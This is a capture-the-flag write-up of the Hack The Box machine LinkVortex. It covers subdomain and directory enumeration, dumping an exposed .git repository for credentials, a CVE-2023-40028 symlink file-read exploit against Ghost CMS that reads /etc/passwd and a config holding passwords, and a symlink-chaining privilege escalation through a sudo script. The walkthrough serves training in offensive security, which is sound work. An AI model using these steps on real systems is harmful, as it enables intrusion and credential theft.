Hackthebox: LinkVortex

Foued SAIDI Lv4

Overview

LinkVortex is an easy-difficulty machine from Hack The Box dealing initially with subdomain enumeration to reveal a hidden subdomain from which we will dump an exmposed .git directoy leading us to exfiltrate credentials, to later abusing CVE-2023-40028 which is a symlink file upload -> arbitrary file read which allows us to get new credentials to finally abuse a custom script that symlinks png files by chaining a couple of symlinks to be able to read the root flag.

LinkVortex-info-card
LinkVortex-info-card

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PS C:\Users\0xkujen> nmap -A -Pn 10.129.227.69
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-11 11:02 W. Central Africa Standard Time
Nmap scan report for 10.129.227.69
Host is up (0.11s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_ 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open http Apache httpd
|_http-title: Did not follow redirect to http://linkvortex.htb/
|_http-server-header: Apache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.35 seconds

We can see that we have our typical ssh 22 port alongside a web application on port 80 that’s redirecting us to http://linkvortex.htb/. So let’s go ahead and add that to our /etc/hosts file.

Subdomain Enumeration with Ffuf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
PS C:\Users\0xkujen\Desktop\Tools\ffuf_2.0.0_windows_amd64> .\ffuf.exe -w ..\SecLists-master\SecLists-master\Discovery\DNS\bitquark-subdomains-top100000.txt -H "Host: FUZZ.linkvortex.htb" -u "http://10.129.227.69"  -fs 230

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.0.0
________________________________________________

:: Method : GET
:: URL : http://10.129.227.69
:: Wordlist : FUZZ: C:\Users\0xkujen\Desktop\Tools\SecLists-master\SecLists-master\Discovery\DNS\bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.linkvortex.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 230
________________________________________________

[Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 133ms]:00:00] :: Errors: 0 ::
* FUZZ: dev

We can see that we also have a dev subdomain that we can add to our /etc/hosts

Web Application - http://linkvortex.htb

Web App
Web App

Seems like a casual web app with no apparent features. It’s also powered by https://ghost.org/ CMS.

Web Application - http://dev.linkvortex.htb

Web App
Web App

The site is still under construction, however when we do directory bruteforcing on it we discover some juicy stuff:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
PS C:\Users\0xkujen\Desktop\Tools> feroxbuster.exe -u http://dev.linkvortex.htb -w .\SecLists-master\SecLists-master\Discovery\Web-Content\big.txt

___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher πŸ€“ ver: 2.8.0
───────────────────────────┬──────────────────────
🎯 Target Url β”‚ http://dev.linkvortex.htb
πŸš€ Threads β”‚ 50
πŸ“– Wordlist β”‚ .\SecLists-master\SecLists-master\Discovery\Web-Content\big.txt
πŸ‘Œ Status Codes β”‚ All Status Codes!
πŸ’₯ Timeout (secs) β”‚ 7
🦑 User-Agent β”‚ feroxbuster/2.8.0
🏁 HTTP methods β”‚ [GET]
πŸ”ƒ Recursion Depth β”‚ 4
πŸŽ‰ New Version Available β”‚ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menuβ„’
──────────────────────────────────────────────────
WLD - - - - http://dev.linkvortex.htb => auto-filtering 404-like response (7 lines); toggle this behavior by using --dont-filter
200 GET 115l 255w 2538c http://dev.linkvortex.htb/
<snip>
🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_dev_linkvortex_htb-1744368731.state ...
[##>-----------------] - 26s 6753/61431 3m found:1 errors:0
[#####>--------------] - 26s 5687/20477 218/s http://dev.linkvortex.htb/
[####################] - 0s 20477/20477 0/s http://dev.linkvortex.htb/.git/ => Directory listing (add -e to scan)
[#>------------------] - 9s 1063/20477 116/s http://dev.linkvortex.htb/cgi-bin/

We can directly see that there is a .git directory exposed. Let’s get that using git-dumper:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
β”Œβ”€β”€(kaliγ‰Ώkali)-[~]
└─$ git-dumper http://dev.linkvortex.htb/ git_dir
[-] Testing http://dev.linkvortex.htb/.git/HEAD [200]
[-] Testing http://dev.linkvortex.htb/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://dev.linkvortex.htb/.git/ [200]
[-] Fetching http://dev.linkvortex.htb/.gitignore [404]
[-] http://dev.linkvortex.htb/.gitignore responded with status code 404
[-] Fetching http://dev.linkvortex.htb/.git/packed-refs [200]
[-] Fetching http://dev.linkvortex.htb/.git/shallow [200]
[-] Fetching http://dev.linkvortex.htb/.git/config [200]
[-] Fetching http://dev.linkvortex.htb/.git/HEAD [200]
[-] Fetching http://dev.linkvortex.htb/.git/logs/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/description [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/info/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/index [200]
[-] Fetching http://dev.linkvortex.htb/.git/refs/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/commit-msg.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/logs/HEAD [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/fsmonitor-watchman.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-commit.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/post-update.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-merge-commit.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-push.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-receive.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/push-to-checkout.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/update.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/50/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/e6/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/info/exclude [200]
[-] Fetching http://dev.linkvortex.htb/.git/refs/tags/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/pack/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/50/864e0261278525197724b394ed4292414d9fec [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/e6/54b0ed7f9c9aedf3180ee1fd94e7e43b29f000 [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/pack/pack-0b802d170fe45db10157bb8e02bfc9397d5e9d87.idx [200]
[-] Fetching http://dev.linkvortex.htb/.git/refs/tags/v5.57.3 [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/pack/pack-0b802d170fe45db10157bb8e02bfc9397d5e9d87.pack [200]
[-] Sanitizing .git/config
[-] Running git checkout .
Updated 5596 paths from the index

NOTE: we can install git-dumper with a simple pip install git-dumper .

Looking at the ghost/core/test/regression/api/admin/authentication.test.js file inside our dumped .git folder, we find interesting credentials:

1
2
3
const email = '[email protected]';
const password = 'OctopiFociPilfer45';

We can now try those credentials over at http://linkvortex.htb/ghost/#/signin using the [email protected] email:

Web App
Web App

And we’re in!

From the dumper .git directory, we can check the Ghost CMS version:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[core]

Β  Β  repositoryformatversion = 0

Β  Β  filemode = true

Β  Β  bare = false

Β  Β  logallrefupdates = true

[remote "origin"]

Β  Β  url = https://github.com/TryGhost/Ghost.git

Β  Β  fetch = +refs/tags/v5.58.0:refs/tags/v5.58.0

Looking for CVEs for this version we stumble upon CVE-2023-40028 which is a symlink file upload that leads to arbitrary file read, allowing us to read files from system.

We can use this amazing POC for exploiting the vulnerbility:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
kujen@kujen:~/CVE-2023-40028$ ./CVE-2023-40028.sh -u "[email protected]" -p OctopiFociPilfer45
WELCOME TO THE CVE-2023-40028 SHELL
file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash

And we got it!

Looking at the Dockerfile.ghost dockerfile from the dumped git folder, we find an interesting config file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
FROM ghost:5.58.0

# Copy the config
COPY config.production.json /var/lib/ghost/config.production.json

# Prevent installing packages
RUN rm -rf /var/lib/apt/lists/* /etc/apt/sources.list* /usr/bin/apt-get /usr/bin/apt /usr/bin/dpkg /usr/sbin/dpkg /usr/bin/dpkg-deb /usr/sbin/dpkg-deb

# Wait for the db to be ready first
COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh
COPY entry.sh /entry.sh
RUN chmod +x /var/lib/ghost/wait-for-it.sh
RUN chmod +x /entry.sh

ENTRYPOINT ["/entry.sh"]
CMD ["node", "current/index.js"]

Let’s read it using the LFI vulnerability:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
file> /var/lib/ghost/config.production.json
{
"url": "http://localhost:2368",
"server": {
"port": 2368,
"host": "::"
},
"mail": {
"transport": "Direct"
},
"logging": {
"transports": ["stdout"]
},
"process": "systemd",
"paths": {
"contentPath": "/var/lib/ghost/content"
},
"spam": {
"user_login": {
"minWait": 1,
"maxWait": 604800000,
"freeRetries": 5000
}
},
"mail": {
"transport": "SMTP",
"options": {
"service": "Google",
"host": "linkvortex.htb",
"port": 587,
"auth": {
"user": "[email protected]",
"pass": "fibber-talented-worth"
}
}
}
}

And we get some new credentials for user bob: bob:fibber-talented-worth.

We try those directly for ssh access and we’re in:

1
2
3
4
5
bob@linkvortex:~$ id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
bob@linkvortex:~$ cat user.txt
126087d0d4376ec5c2c889be92695e37
bob@linkvortex:~$

Looking at what bob can execute as sudo:

1
2
3
4
5
6
7
bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty, env_keep+=CHECK_CONTENT

User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

We can see that he can run the /opt/ghost/clean_symlink.sh script as root.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh
#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fi

This script checks if the provided argument is a symbolic link to a .png file, and if the link points to a sensitive directory like /etc or /root, it deletes it; otherwise, it moves the link to a quarantine directory. Optionally, if CHECK_CONTENT is set to true, it displays the content of the quarantined file.

What we can do in this case is chain a couple of symlinks without triggering the check for etc and root by first symlinking /root/root.txt to /home/bob/kujen.txt and then linking /home/bob/kujen.txt to /home/bob/kujen.png and execute the script on it to read the root flag:

1
2
3
4
5
6
7
bob@linkvortex:~$ ln -s /root/root.txt /home/bob/kujen.txt
bob@linkvortex:~$ ln -s /home/bob/kujen.txt /home/bob/kujen.png
bob@linkvortex:~$ sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/kujen.png
Link found [ /home/bob/kujen.png ] , moving it to quarantine
Content:
83408dc875c41a3c60b0927b00b621bb
bob@linkvortex:~$

And we got our root flag: 83408dc875c41a3c60b0927b00b621bb.
That was it for LinkVortex! Hope you learned something new!

-0xkujen

  • Title: Hackthebox: LinkVortex
  • Author: Foued SAIDI
  • Created at : 2025-04-11 10:41:04
  • Updated at : 2025-04-11 12:25:40
  • Link: https://kujen5.github.io/2025/04/11/Hackthebox-LinkVortex/
  • License: This work is licensed under CC BY-NC-SA 4.0.